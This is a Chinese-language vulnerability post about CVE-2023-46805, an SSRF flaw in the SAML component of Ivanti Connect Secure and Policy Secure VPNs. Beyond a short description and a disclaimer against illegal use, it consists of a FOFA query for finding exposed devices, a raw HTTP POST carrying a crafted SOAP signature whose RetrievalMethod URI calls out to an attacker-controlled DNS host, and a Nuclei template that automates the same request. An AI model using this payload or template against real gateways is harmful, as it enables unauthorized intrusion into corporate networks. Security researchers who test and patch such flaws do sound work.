Ivanti Pulse Connect Secure VPN SSRF(CVE-2023-46805)漏洞

本文介绍: Ivanti Pulse Connect Secure VPN SSRF(CVE-2023-46805)漏洞

免责声明：文章来源互联网收集整理，请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

Ⅰ、漏洞描述

Ivanti Connect Secure 为远程和移动用户提供了一个无缝的、具有成本效益的 SSL VPN 解决方案，使他们能随时随地从任何可上网的设备访问企业资源。

Ivanti Connect Secure（9.x，22.x）和Ivanti Policy Secure（9.x,22.x）以及Ivanti Neurons for ZTA的SAML组件中存在SSRF漏洞。

body="welcome.cgi?p=logo"

POST /dana-ws/saml20.ws HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Connection: close
Content-Length: 831
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <ds:Signature    xmlns:ds="http://www.w3.org/2000/09/xmldsig#">      <ds:SignedInfo>        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>        <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>      </ds:SignedInfo>      <ds:SignatureValue>qwerty</ds:SignatureValue>      <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">        <ds:RetrievalMethod URI="http://your-dns"/>        <ds:X509Data/>      </ds:KeyInfo>      <ds:Object></ds:Object>    </ds:Signature>  </soap:Body></soap:Envelope>

id: Ivanti-Pulse-Connect-Secure-VPN-SSRF

info:
  name: Ivanti Connect Secure（9.x，22.x）和Ivanti Policy Secure（9.x,22.x）以及Ivanti Neurons for ZTA的SAML组件中存在SSRF漏洞。
  author: WLF
  severity: high
  metadata: 
    fofa-query: body="welcome.cgi?p=logo"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /dana-ws/saml20.ws HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
        Connection: close
        Content-Length: 831
        Accept-Encoding: gzip

        <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <ds:Signature    xmlns:ds="http://www.w3.org/2000/09/xmldsig#">      <ds:SignedInfo>        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>        <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>      </ds:SignedInfo>      <ds:SignatureValue>qwerty</ds:SignatureValue>      <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">        <ds:RetrievalMethod URI="http://{{interactsh-url}}"/>        <ds:X509Data/>      </ds:KeyInfo>      <ds:Object></ds:Object>    </ds:Signature>  </soap:Body></soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
        condition: and